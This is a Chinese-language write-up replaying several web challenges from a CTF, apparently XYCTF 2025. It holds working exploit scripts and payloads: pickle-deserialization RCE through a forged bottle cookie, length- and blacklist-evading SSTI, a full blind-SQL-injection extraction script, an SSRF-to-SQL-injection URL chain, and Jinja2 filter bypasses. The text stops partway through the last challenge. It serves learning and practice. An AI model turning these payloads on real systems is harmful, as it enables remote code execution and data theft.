0%

2025XYCTF复现|web|复现

前言:

感觉比赛还是挺难的,当时卡在Signin那题卡了一晚上,感觉就是bottle库的一个pickle反序列化,但是试了半天没试出来(看wp发现是无回显,所以当时其实已经打出来了),导致我其他题目也没看。所以赛后重新做一下并复现。同时,这里感谢SfTian师傅提供的复现平台。

Signin

描述:来点真正的签到吧!

考点:bottle库pickle反序列化、无回显rce

看源码的逻辑,猜测先在download路由通过目录穿越文件读取到secret.txt获取密钥,然后在secret路由打cookie伪造

但是源码里吧../../给禁用了,直接用./.././../绕过

1
download?filename=./.././../secret.txt

得到secret

1
Hell0_H@cker_Y0u_A3r_Sm@r7

跟进到bottle.py查看一下set_cookied的逻辑

可以看到在加密的过程中进行了一次pickle的序列化

先用脚本看一下当前的cookie解密后是什么样的

1
2
3
4
5
6
import bottle

secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"
exp = "!4SSvdzbD0UYv84Lnpmm1VLtPBddCrvhgQOLkNQbhjek=?gAWVGQAAAAAAAABdlCiMBG5hbWWUfZRoAYwFZ3Vlc3SUc2Uu"
bottle.cookie_decode(exp,secret)
print(bottle.cookie_decode(exp,secret))

可以看到当前的cookie为

1
['name', {'name': 'guest'}]

根据这个我们可以在name位置构造恶意类进行pickle反序列化。

当时的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from bottle import cookie_encode

secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"
class Exploit:
def __reduce__(self):
return (eval, ("__import__('os').system('whoami')",))

expl=Exploit()
exp = cookie_encode(
['name', {'name': expl}],
secret
)
print(exp)

但是发现没有东西

发现没有回显,赛后看wp才发现是无回显。。。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from bottle import cookie_encode

secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"
class Exploit:
def __reduce__(self):
return (eval, ("__import__('os').system('whoami>>1.txt')",))

expl=Exploit()
exp = cookie_encode(
['name', {'name': expl}],
secret
)
print(exp)

网站请求完后再利用download路由查看1.txt

1
/download?filename=1.txt

可以发现命令执行成功了,后面就获取flag就行了

1
tac /f*>>2.txt

ez_puzzle

描述:你能在两秒之内完成拼图吗?

考点:js前端调试,js混淆盲测

进入后发现f12和鼠标右键都被禁用了,但是这题感觉应该是要打js前端,需要用到调试器和控制台。

利用Ctrl+U可以看到源码,发现/js/puzzle.js,查看后利用这个页面打开f12然后返回到主页。

此时就可以打开调试器查看了。

根据描述,需要在两秒内解决,查看puzzle.js文件直接全局搜索time

可以发现有一个startTime和一个endTime,虽然js代码被加了混淆,但是可以通过这两个猜测出拼图的完成时间是通过startTime和endTime的差值来计算的。

将拼图拼完(js被混淆了,逻辑没法看只能手拼,有点艹蛋),返回控制台尝试查看一下startTime发现直接输入startTime就出来了也不需要调用调用某个函数或方法啥的,说明startTime是一个已经定义并赋值的变量。但是查看endTime的时候却发现endTime并未被定义。

此时我先是尝试将endTime赋值为173,但是发现并没有啥作用。

接着我点击图片发现才算结束,再次查看endTime发现此时的endTime为673668。

 2025-04-17 200115.png

那么此时我就有一个猜想,如果我将startTime设置为1000000也就是endTime基本无法超过的值,此时他们的差值为负数那么应该就能够绕过了。

再次重新拼图(我*@#&!%)

1
startTime=1000000

再次点击图片就得到flag了

出题人已疯

描述:出题人已疯,你知道出题人为什么疯吗

考点:基于bottle的ssti、拼接绕过长度限制

题目给了源码,直接看关键点

 2025-04-17 202419.png

可以发现可能存在ssti模板注入

尝试一下

 2025-04-17 202316.png

确定ssti模板注入的存在

测试一下{{config}}结果发现返回错误,{{lipsum}}也是返回错误,说明应该是存在黑名单的。

本来想写个脚本爆破一下黑名单,但是发现误报太多了(以class为例,如果{{"".__class__}}是可以的但是当{{class}}就不行了)

本来用最基础的打,结果发现到base就报错了

仔细看一下代码发现对长度有限制

1
payload and len(payload) < 25

再次查看源码发现可能存在基于bottle库的SSTI注入。但是直接命令执行的话,可以看到源码禁用了popen,所以只能用system来执行,但是{{__import__('os').system('whoami')}}长度也是超过了25,用%的方法%0a%%20__import__('os').system('whoami')也是超过了25。

所以这里我们只能采用拼接的方法来绕过。

错误exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

url='http://gz.imxbt.cn:20543/attack'

payload="__import__('os').system('whoami')"
payload=[payload[i:i+4] for i in range(0,len(payload),4)]
print(payload)

for i in range(len(payload)):
if i==0:
poc=f'\n%import os;os.a="{payload[i]}"'
print(poc)
r=requests.get(url,params={"payload":poc})
else:
poc=f'\n%import os;os.a+="{payload[i]}"'
print(poc)
r=requests.get(url,params={"payload":poc})

poc=f"\n%import os;eval(os.a)"
response=requests.get(url,params={"payload":poc})

print(response.text)

但是我发现没得到结果

看了下wp发现又是无回显。。。

获取flag

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests


url='http://gz.imxbt.cn:20543/attack'

payload="__import__('os').system('tac /f* >2.txt')"
payload=[payload[i:i+4] for i in range(0,len(payload),4)]
print(payload)

for i in range(len(payload)):
if i==0:
poc=f'\n%import os;os.a="{payload[i]}"'
print(poc)
r=requests.get(url,params={"payload":poc})
else:
poc=f'\n%import os;os.a+="{payload[i]}"'
print(poc)
r=requests.get(url,params={"payload":poc})

poc=f"\n%import os;eval(os.a)"
response=requests.get(url,params={"payload":poc})

poc=f"\n%include('2.txt')"
response=requests.get(url,params={"payload":poc})
print(response.text)

出题人又疯了

描述:无

考点:基于bottle的ssti、斜体字绕过

这题跟上一题差不多,唯一不同是多了一个blacklist = ['o', '\\', '\r', '\n', 'import', 'eval', 'exec', 'system', ' ', ';' , 'read']

但是要该怎么绕过呢?这里我也是想不到了,直接看的wp,发现用斜体字可以绕过

先用脚本处理一下payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import re

def replace_unquoted(text):
pattern = r'(\'.*?\'|\".*?\")|([oa])'

def replacement(match):
if match.group(1):
return match.group(1)
else:
char = match.group(2)
replacements = {
'o': '%ba',
'a': '%aa',
}
return replacements.get(char, char)

result = re.sub(pattern, replacement, text)
return result


input_text = "__import__('os').popen('whoami').read()" # payload
output_text = replace_unquoted(input_text)
print("处理后的字符串:", output_text)

将得到的结果带入我上面那题的exp但是发现不成功,仔细一看才发现import和eval也被过滤了。。。再处理一下,结果发现还是不行,再看源码发现\n也被过滤了。。。

没办法用上一题的exp打了现在(绕了半天也绕不过去了),直接看wp发现直接用open打开flag就行了

处理一下{{open(%27/flag%27).read()}}

payload:

1
/attack?payload={{%BApen(%27/flag%27).re%aad()}}

ezsql(手动滑稽)

描述:简单sql(手动滑稽),不需要sqlmap等自动化工具,请手工哟∧_∧

考点:sql布尔盲注+and、空格及逗号绕过,无回显rce

一进去就看到登录界面,先尝试一下用户名密码存不存在注入点,用admin\测试

发现存在sql注入,并且是字符型注入。

admin' and 1=1#测试发现被过滤了,测试了一下发现过滤了 空格、and/**/--+

用%09可以绕过空格、用or代替and

1
admin'%09or%091=1#

应该存在布尔盲注,测一下数据库长度

1
username=admin'%09or%09(length(database())=6)#&password=1

发现为6接着就用脚本爆数据库就得了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
import requests

def ascii_str():
"""生成可显示字符列表"""
return [chr(i) for i in range(33, 127)] # 所有可显示字符

def db_length(url, error_str):
"""测试数据库名长度"""
print("[-] 开始测试数据库名长度.......")
num = 1
while True:
db_payload = {
"username": f"admin'\tor\t(length(database())={num})#",
"password": "123456"
}
r = requests.post(url=url, data=db_payload)
if error_str not in r.text:
print(f"[+] 数据库长度:{num}\n")
db_name(url, error_str, num)
break
else:
num += 1

def db_name(url, error_str, db_length):
"""测试数据库名"""
print("[-] 开始测试数据库名.......")
str_list = ascii_str()
db_name = ''
for i in range(1, db_length + 1):
for char in str_list:
print(char)
payload = {
"username": f"admin'\tor\tsubstr(database()\tfrom\t{i}\tfor\t1)='{char}'#",
"password": "123456"
}
print(payload)
r = requests.post(url, data=payload)
if error_str not in r.text:
db_name += char
print(f"当前数据库名: {db_name}")
break
print(f"[+] 数据库名:{db_name}\n")
tb_names(url, error_str, db_name)

def tb_names(url, error_str, db_name):
"""获取所有表名"""
print(f"[-] 开始爆破 {db_name} 数据库的表名.......")
str_list = ascii_str()
tables = ''
for i in range(1, 100):
found = False
for char in str_list:
payload = {
"username": f"admin'\tor\tsubstr((select\tgroup_concat(table_name)\tfrom\tinformation_schema.tables\twhere\ttable_schema='{db_name}')\tfrom\t{i}\tfor\t1)='{char}'#",
"password": "123456"
}
r = requests.post(url, data=payload)
if error_str not in r.text:
tables += char
print(f"当前表名: {tables}")
found = True
break
if not found:
break
print(f"\n[+] 数据库表名列表: {tables.split(',')}\n")
columns(url, error_str, db_name, tables.split(',')[0])

def columns(url, error_str, db_name, table):
"""获取字段名"""
print(f"[-] 开始爆破 {table} 表的字段名.......")
str_list = ascii_str()
columns = ''
for i in range(1, 100):
found = False
for char in str_list:
payload = {
"username": f"admin'\tor\tsubstr((select\tgroup_concat(column_name)\tfrom\tinformation_schema.columns\twhere\ttable_name='{table}')\tfrom\t{i}\tfor\t1)='{char}'#",
"password": "123456"
}
r = requests.post(url, data=payload)
if error_str not in r.text:
columns += char
print(f"当前字段: {columns}")
found = True
break
if not found:
break
print(f"\n[+] 表字段列表: {columns.split(',')}\n")
dump_data(url, error_str, db_name, table, columns.split(','))

def dump_data(url, error_str, db_name, table, columns):
"""爆破数据"""
print(f"[-] 开始爆破 {table} 表数据.......")
str_list = ascii_str()
for col in columns[:2]: # 只爆破前两个字段
data = ''
for i in range(1, 100):
found = False
for char in str_list:
payload = {
"username": f"admin'\tor\tsubstr((select\tgroup_concat({col})\tfrom\t{db_name}.{table})\tfrom\t{i}\tfor\t1)='{char}'#",
"password": "123456"
}
r = requests.post(url, data=payload)
if error_str not in r.text:
data += char
print(f"{col} 字段数据: {data}")
found = True
break
if not found:
break
print(f"\n[+] {col} 字段完整数据: {data}\n")

if __name__ == '__main__':
target_url = "http://gz.imxbt.cn:20729/login.php"
error_str = "帐号或密码错误"
db_length(target_url, error_str)

有点坑的是,这题我用脚本的时候用%09不行只能用\t才行(猜测是编码问题),运行的时候发现失败再次测试发现,被禁用了,所以我只能弃用ord(mid(...,...,...))的方法,改用substring(... from ... for ...)的形式。(最操蛋的就是这个逗号禁用了,害我改了一个小时的脚本。。。)

得到密钥后输入,进入到一个命令执行界面

但是随便执行个命令发现没东西,盲猜又是无回显。这里空格被禁用了用%09绕过,但是我发现不管怎么穿越都找不到flag的位置

1
ls%09/../../../>2.txt

后面我才发现我写入的文件位置不对,正确的应该是要加上/var/www/html(我还是挺奇怪的,正常直接2.txt就是在/var/www/html目录了)

获取flag

1
tac%09/../../../flag.txt>/var/www/html/1.txt

Fate

描述:一生中能改变命运的机会可不多啊。

考点:127.0.0.1的DWORD值绕过、双重url编码绕过、json反序列化、python格式化字符串漏洞+逻辑漏洞、sql注入

题目给了源码,代码审计app.py

首先看到/1337路由

先不考虑waf这些的,这段代码的关键点在于db_search(),跟进到其定义

可以看到这段代码执行了一条sql查询语句,因此这题有可能存在sql注入。但是要执行到db_search()有几层逻辑。

首先第一层就是需要本地127.0.0.1访问。往上看存在一个/proxy路由

提供了一个url参数,并且拼接到http://lamentxu.top后面,很明显是打ssrf做代理。

假设我们拼接上一个@127.0.0.1此时服务器就会对127.0.0.1发起请求从而实现下面本地127.0.0.1访问。

但是这里设置了waf,把.和任何ASCII字母(a-zA-Z)给禁用了,说明我没没法用127.0.0.1或者0.0.0.0或者localhost

这里用127.0.0.1的DWORD值2130706433就可以绕过

1
proxy?url=@2130706433

但是我发现直接显示500说明我们当前应该是成功绕过127.0.0.1了,但是却没有看到index.html

这里我卡了好久,后面想到可能跟端口有关系,127.0.0.1后面不跟端口默认的是80端口,但是有一些网站它使用8080端口作为HTTP服务的端口,尝试一下

1
proxy?url=@2130706433:8080

可以看到成功进入到index.html了(这里卡了我半天才想到)

接下来就可以进入我们上面分析存在主要漏洞点的/1337路由了,绕过了本地访问的逻辑,接着往下看

来看一下这一段代码的逻辑,首先提供了一个参数0并将其值赋给code,如果code的值等于abcdefghi则会提供一个参数1并将其值赋给req。

如果给req提供一个name字段,并将name值等于我们所要执行的sql语句那么久有可能能够实现sql注入。

有点思路了就照着这个思路尝试一下。

这里0的值其实还是受着/proxy路由中黑名单的限制,我们不能直接用?0=abcdefghi,这里可以用双url编码绕过

1
/proxy?url=@2130706433:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569

可以看到已经绕过了,进入下一层逻辑,也就是构造req。

可以看到代码首先用binary_to_string()对req进行编码,跟进到其定义查看

这段代码的作用是将二进制字符串(如网络协议数据)转换为可读字符串。

接着往下构造req,可以看到用json.loads()将JSON格式的字符串req反序列化为Python字典。

所以要构造req的格式应该如下:

1
{"name": value}	# value为我们所需要构造的sql命令

经过json.loads()反序列化后的Python字典如下:

1
{"name": value}

在下面的name = req['name']则是取出字典中name字段的值,用下面这段代码演示一下会更清楚

1
2
3
4
5
6
import json

req = '{"name":"LAMENTXU"}'
req = json.loads(req)
name = req['name']
print(name)

查看一下init_db.py中数据库的结构

可以看到一个明显的flag{FAKE},按照我之前出sql题的经验,一般用FLAG环境变量替换这个flag{FAKE}。所以读取到这个LAMENTXU的值应该就可以获取到flag了

清楚了要执行的sql语句,再返回查看一下sql语句。

1
SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))

这段sql语句是从FATE表中查询NAME,此时只要我们的name等于LAMENTXU就可以得到flag了。

接着往下看,对name的值进行了一个限制

name的值不能大于6,所以我们不能直接使用{"name":"LAMENTXU"},剩下两个暂时不知道啥用的。

好的彻底燃尽了,这里想了半天也没想明白要怎么绕过这个长度的限制,直接看wp了。。。

发现这里利用到python格式化字符串漏洞和一个逻辑漏洞(研究了半天才搞明白。。。)

此时我们可以构造个恶意的sql的语句(注意:sqlite3的注释符为--

1
{"name": {"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --": "1"}}

json.load()反序列化后的字典为

1
{"name": {"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --": "1"}}

可以自己在本地尝试一下

1
2
3
4
5
6
7
8
9
req = {"name": {"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU'#": "1"}}
name = req['name']
print(name)
if len(name) > 6:
print("too long")
if '\'' in name:
print("false")
if ')' in name:
print("false")

此时拼接到sql语句里如下

1
f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --": '1'}')))))))"

并且这里利用f-string格式化字符串执行查询语句,所以code能够解析出python字典,如果没有这个f-string,那么就没法将{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --": "1"}给嵌入进去。

可以看到执行查询语句SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU'

这里解释一下两个漏洞的利用

疑问:{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --": '1'}不应该会超过6吗为什么可以通过。

解决:这其实就是利用逻辑漏洞

此时的{"'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME='LAMENTXU' --": '1'}是一个字典,在计算长度的时候只会计算字典的键值对数量,这里只有一对键值长度为1。

python格式化字符串漏洞:这里举一个例子会清楚点

1
2
3
a = ['a', 'b', 'c']
print(f'test {a}') # 输出: test ['a', 'b', 'c']
print('test {a}') # 输出: test {a}

接下来我们只需要把我们的payload进行一层编码然后赋值给1就行了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def string_to_binary(input_string):
binary_output = ''.join(format(ord(char), '08b') for char in input_string)
return binary_output


def binary_to_string(binary_string):
if len(binary_string) % 8 != 0:
raise ValueError("Binary string length must be a multiple of 8")
binary_chunks = [binary_string[i:i + 8] for i in range(0, len(binary_string), 8)]
string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)

return string_output

original_string = '{"name": {"\'))))))) UNION SELECT FATE FROM FATETABLE WHERE NAME=\'LAMENTXU\' --": "1"}}'
binary_str = string_to_binary(original_string) # 转换为二进制字符串
restored_string = binary_to_string(binary_str) # 再转换回原字符串

print(f"原始字符串: {original_string}")
print(f"二进制表示: {binary_str}")
print(f"还原后的字符串: {restored_string}")

但是这里还有一个点要注意的是&要用url编码为%26才行

完整payload:

1
/proxy?url=@2130706433:8080/1337?0=%2561%2562%2563%2564%2565%2566%2567%2568%2569%261=01111011001000100110111001100001011011010110010100100010001110100010000001111011001000100010011100101001001010010010100100101001001010010010100100101001001000000101010101001110010010010100111101001110001000000101001101000101010011000100010101000011010101000010000001000110010000010101010001000101001000000100011001010010010011110100110100100000010001100100000101010100010001010101010001000001010000100100110001000101001000000101011101001000010001010101001001000101001000000100111001000001010011010100010100111101001001110100110001000001010011010100010101001110010101000101100001010101001001110010000000101101001011010010001000111010001000000010001000110001001000100111110101111101

Now you see me 1

描述:{%print("7*7")%}

考点:SSTI构造字符集绕过、importlib.reload()恢复命令执行函数

刚看到源码一眼疑惑,后面发现怎么旁边还能拉,拉到最右边在27处发现一串base64加密的代码

解码后的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
# YOU FOUND ME ;)
# -*- encoding: utf-8 -*-
'''
@File : src.py
@Time : 2025/03/29 01:10:37
@Author : LamentXU
'''
import flask
import sys
enable_hook = False
counter = 0
def audit_checker(event,args):
global counter
if enable_hook:
if event in ["exec", "compile"]:
counter += 1
if counter > 4:
raise RuntimeError(event)

lock_within = [
"debug", "form", "args", "values",
"headers", "json", "stream", "environ",
"files", "method", "cookies", "application",
'data', 'url' ,'\'', '"',
"getattr", "_", "{{", "}}",
"[", "]", "\\", "/","self",
"lipsum", "cycler", "joiner", "namespace",
"init", "dir", "join", "decode",
"batch", "first", "last" ,
" ","dict","list","g.",
"os", "subprocess",
"g|a", "GLOBALS", "lower", "upper",
"BUILTINS", "select", "WHOAMI", "path",
"os", "popen", "cat", "nl", "app", "setattr", "translate",
"sort", "base64", "encode", "\\u", "pop", "referer",
"The closer you see, the lesser you find."]
# I hate all these.
app = flask.Flask(__name__)
@app.route('/')
def index():
return 'try /H3dden_route'
@app.route('/H3dden_route')
def r3al_ins1de_th0ught():
global enable_hook, counter
name = flask.request.args.get('My_ins1de_w0r1d')
if name:
try:
if name.startswith("Follow-your-heart-"):
for i in lock_within:
if i in name:
return 'NOPE.'
enable_hook = True
a = flask.render_template_string('{#'+f'{name}'+'#}')
enable_hook = False
counter = 0
return a
else:
return 'My inside world is always hidden.'
except RuntimeError as e:
counter = 0
return 'NO.'
except Exception as e:
return 'Error'
else:
return 'Welcome to Hidden_route!'

if __name__ == '__main__':
import os
try:
import _posixsubprocess
del _posixsubprocess.fork_exec
except:
pass
import subprocess
del os.popen
del os.system
del subprocess.Popen
del subprocess.call
del subprocess.run
del subprocess.check_output
del subprocess.getoutput
del subprocess.check_call
del subprocess.getstatusoutput
del subprocess.PIPE
del subprocess.STDOUT
del subprocess.CalledProcessError
del subprocess.TimeoutExpired
del subprocess.SubprocessError
sys.addaudithook(audit_checker)
app.run(debug=False, host='0.0.0.0', port=5000)

找到存在ssti注入的漏洞点

但是这题有几个限制

  • 设置了一个黑名单
  • 必须以Follow-your-heart-为开头
  • ``是Jinja2注释语法,正常情况下不会执行内容
  • 删除了所有可能执行系统命令的函数

这里也是没什么思路,参考了几位师傅及官方的wp

首先先来解决注释的问题,直接用#}{name}{#闭合即可,{{}}被禁了用则用{%%}代替。(注意:这里的#}{#要进行url编码)

1
/H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23%7d{%print(7*7)%}%7b%23

接下来我参考了两种打法

法一:利用config+request.url构造字符集

可以看到config是不在黑名单中的,所以我们可能可以利用该payload进行rce

1
{%print(config.__class__.__init__.__globals__['os'].popen('whoami').read())%}

但是观察黑名单我们可以发现下划线被过滤了,并且引号也被过滤了,所以没法直接绕过下划线。那么现在下划线的构造就成了一个问题。这里我们就可以通过从将config文件的内容切分为一个一个的字符,然后放入循环中逐个获取。

1
2
3
4
5
6
7
{% for i in config|string|slice(1) %}
{% print(i) %}
{% endfor %}

/H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23%7d{%for%0ai%0ain%0aconfig|string|slice(1)%}{%print(i)%}{%%0aendfor%0a%}%7b%23

//这里空格被过滤了,用%0a替代

这里可以用一个脚本获取我们想要字符的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 字符列表
chars = ['<', 'C', 'o', 'n', 'f', 'i', 'g', ' ', '{', "'", 'D', 'E', 'B', 'U', 'G', "'", ':', ' ', 'F', 'a', 'l', 's', 'e', ',', ' ', "'", 'T', 'E', 'S', 'T', 'I', 'N', 'G', "'", ':', ' ', 'F', 'a', 'l', 's', 'e', ',', ' ', "'", 'P', 'R', 'O', 'P', 'A', 'G', 'A', 'T', 'E', '_', 'E', 'X', 'C', 'E', 'P', 'T', 'I', 'O', 'N', 'S', "'", ':', ' ', 'N', 'o', 'n', 'e', ',', ' ', "'", 'S', 'E', 'C', 'R', 'E', 'T', '_', 'K', 'E', 'Y', "'", ':', ' ', 'N', 'o', 'n', 'e', ',', ' ', "'", 'S', 'E', 'C', 'R', 'E', 'T', '_', 'K', 'E', 'Y', '_', 'F', 'A', 'L', 'L', 'B', 'A', 'C', 'K', 'S', "'", ':', ' ', 'N', 'o', 'n', 'e', ',', ' ', "'", 'P', 'E', 'R', 'M', 'A', 'N', 'E', 'N', 'T', '_', 'S', 'E', 'S', 'S', 'I', 'O', 'N', '_', 'L', 'I', 'F', 'E', 'T', 'I', 'M', 'E', "'", ':', ' ', 'd', 'a', 't', 'e', 't', 'i', 'm', 'e', '.', 't', 'i', 'm', 'e', 'd', 'e', 'l', 't', 'a', '(', 'd', 'a', 'y', 's', '=', '3', '1', ')', ',', ' ', "'", 'U', 'S', 'E', '_', 'X', '_', 'S', 'E', 'N', 'D', 'F', 'I', 'L', 'E', "'", ':', ' ', 'F', 'a', 'l', 's', 'e', ',', ' ', "'", 'T', 'R', 'U', 'S', 'T', 'E', 'D', '_', 'H', 'O', 'S', 'T', 'S', "'", ':', ' ', 'N', 'o', 'n', 'e', ',', ' ', "'", 'S', 'E', 'R', 'V', 'E', 'R', '_', 'N', 'A', 'M', 'E', "'", ':', ' ', 'N', 'o', 'n', 'e', ',', ' ', "'", 'A', 'P', 'P', 'L', 'I', 'C', 'A', 'T', 'I', 'O', 'N', '_', 'R', 'O', 'O', 'T', "'", ':', ' ', "'", '/', "'", ',', ' ', "'", 'S', 'E', 'S', 'S', 'I', 'O', 'N', '_', 'C', 'O', 'O', 'K', 'I', 'E', '_', 'N', 'A', 'M', 'E', "'", ':', ' ', "'", 's', 'e', 's', 's', 'i', 'o', 'n', "'", ',', ' ', "'", 'S', 'E', 'S', 'S', 'I', 'O', 'N', '_', 'C', 'O', 'O', 'K', 'I', 'E', '_', 'D', 'O', 'M', 'A', 'I', 'N', "'", ':', ' ', 'N', 'o', 'n', 'e', ',', ' ', "'", 'S', 'E', 'S', 'S', 'I', 'O', 'N', '_', 'C', 'O', 'O', 'K', 'I', 'E', '_', 'P', 'A', 'T', 'H', "'", ':', ' ', 'N', 'o', 'n', 'e', ',', ' ', "'", 'S', 'E', 'S', 'S', 'I', 'O', 'N', '_', 'C', 'O', 'O', 'K', 'I', 'E', '_', 'H', 'T', 'T', 'P', 'O', 'N', 'L', 'Y', "'", ':', ' ', 'T', 'r', 'u', 'e', ',', ' ', "'", 'S', 'E', 'S', 'S', 'I', 'O', 'N', '_', 'C', 'O', 'O', 'K', 'I', 'E', '_', 'S', 'E', 'C', 'U', 'R', 'E', "'", ':', ' ', 'F', 'a', 'l', 's', 'e', ',', ' ', "'", 'S', 'E', 'S', 'S', 'I', 'O', 'N', '_', 'C', 'O', 'O', 'K', 'I', 'E', '_', 'P', 'A', 'R', 'T', 'I', 'T', 'I', 'O', 'N', 'E', 'D', "'", ':', ' ', 'F', 'a', 'l', 's', 'e', ',', ' ', "'", 'S', 'E', 'S', 'S', 'I', 'O', 'N', '_', 'C', 'O', 'O', 'K', 'I', 'E', '_', 'S', 'A', 'M', 'E', 'S', 'I', 'T', 'E', "'", ':', ' ', 'N', 'o', 'n', 'e', ',', ' ', "'", 'S', 'E', 'S', 'S', 'I', 'O', 'N', '_', 'R', 'E', 'F', 'R', 'E', 'S', 'H', '_', 'E', 'A', 'C', 'H', '_', 'R', 'E', 'Q', 'U', 'E', 'S', 'T', "'", ':', ' ', 'T', 'r', 'u', 'e', ',', ' ', "'", 'M', 'A', 'X', '_', 'C', 'O', 'N', 'T', 'E', 'N', 'T', '_', 'L', 'E', 'N', 'G', 'T', 'H', "'", ':', ' ', 'N', 'o', 'n', 'e', ',', ' ', "'", 'M', 'A', 'X', '_', 'F', 'O', 'R', 'M', '_', 'M', 'E', 'M', 'O', 'R', 'Y', '_', 'S', 'I', 'Z', 'E', "'", ':', ' ', '5', '0', '0', '0', '0', '0', ',', ' ', "'", 'M', 'A', 'X', '_', 'F', 'O', 'R', 'M', '_', 'P', 'A', 'R', 'T', 'S', "'", ':', ' ', '1', '0', '0', '0', ',', ' ', "'", 'S', 'E', 'N', 'D', '_', 'F', 'I', 'L', 'E', '_', 'M', 'A', 'X', '_', 'A', 'G', 'E', '_', 'D', 'E', 'F', 'A', 'U', 'L', 'T', "'", ':', ' ', 'N', 'o', 'n', 'e', ',', ' ', "'", 'T', 'R', 'A', 'P', '_', 'B', 'A', 'D', '_', 'R', 'E', 'Q', 'U', 'E', 'S', 'T', '_', 'E', 'R', 'R', 'O', 'R', 'S', "'", ':', ' ', 'N', 'o', 'n', 'e', ',', ' ', "'", 'T', 'R', 'A', 'P', '_', 'H', 'T', 'T', 'P', '_', 'E', 'X', 'C', 'E', 'P', 'T', 'I', 'O', 'N', 'S', "'", ':', ' ', 'F', 'a', 'l', 's', 'e', ',', ' ', "'", 'E', 'X', 'P', 'L', 'A', 'I', 'N', '_', 'T', 'E', 'M', 'P', 'L', 'A', 'T', 'E', '_', 'L', 'O', 'A', 'D', 'I', 'N', 'G', "'", ':', ' ', 'F', 'a', 'l', 's', 'e', ',', ' ', "'", 'P', 'R', 'E', 'F', 'E', 'R', 'R', 'E', 'D', '_', 'U', 'R', 'L', '_', 'S', 'C', 'H', 'E', 'M', 'E', "'", ':', ' ', "'", 'h', 't', 't', 'p', "'", ',', ' ', "'", 'T', 'E', 'M', 'P', 'L', 'A', 'T', 'E', 'S', '_', 'A', 'U', 'T', 'O', '_', 'R', 'E', 'L', 'O', 'A', 'D', "'", ':', ' ', 'N', 'o', 'n', 'e', ',', ' ', "'", 'M', 'A', 'X', '_', 'C', 'O', 'O', 'K', 'I', 'E', '_', 'S', 'I', 'Z', 'E', "'", ':', ' ', '4', '0', '9', '3', ',', ' ', "'", 'P', 'R', 'O', 'V', 'I', 'D', 'E', '_', 'A', 'U', 'T', 'O', 'M', 'A', 'T', 'I', 'C', '_', 'O', 'P', 'T', 'I', 'O', 'N', 'S', "'", ':', ' ', 'T', 'r', 'u', 'e', '}', '>']

# 构建字符到位置的映射(只记录第一次出现的位置)
char_to_pos = {char: idx for idx, char in enumerate(chars)}

# 持续运行循环
while True:
# 用户输入
target_char = input("请输入你想要查找的字符(输入 'exit' 退出):").strip()

# 如果输入为 'exit',退出程序
if target_char.lower() == 'exit':
print("程序已退出。")
break

# 查找并输出结果
if target_char in char_to_pos:
print(f"字符 '{target_char}' 的位置: {char_to_pos[target_char]}")
else:
print(f"字符 '{target_char}' 未在列表中找到。")

config.__class__.__init__.__globals__获取os,但是此时就会发现classglobals构造不出来缺少了几个字符

再次返回查看黑名单就可以发现request也没有被禁用,所以我们这里通过request.url等方式来拓展字符集。(这里__url__的字符之间用~来拼接,下划线用attr()绕过)

1
2
3
4
5
6
7
8
{% for i in config|string|slice(1) %}
{% set uri = 'url' %}
{% for j in request|attr(uri)|string|slice(1) %}
{%print(j)%}
{% endfor %}
{% endfor %}

/H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23%7d{%for%0ai%0ain%0aconfig|string|slice(1)%}{%set%0auri=i.880~i.879~i.756%}{%for%0aj%0ain%0arequest|attr(uri)|string|slice(1)%}{%print(j)%}{%%0aendfor%0a%}{%%0aendfor%0a%}%7b%23

改一下上面那个脚本的字典,然后就可以接着拼接了(i和j都可以用来拼接)

接下来就是继续构造config.__class__.__init__.__globals__

1
2
3
4
5
6
7
8
9
10
11
{% for i in config|string|slice(1) %}
{% set uri = 'url' %}
{% for j in request|attr(uri)|string|slice(1) %}
{% set cla = '__class__' %}
{% set ini = '__init__' %}
{% set glob = '__globals__' %}
{% print(config|attr(cla)|attr(ini)|attr(glob)) %}
{% endfor %}
{% endfor %}

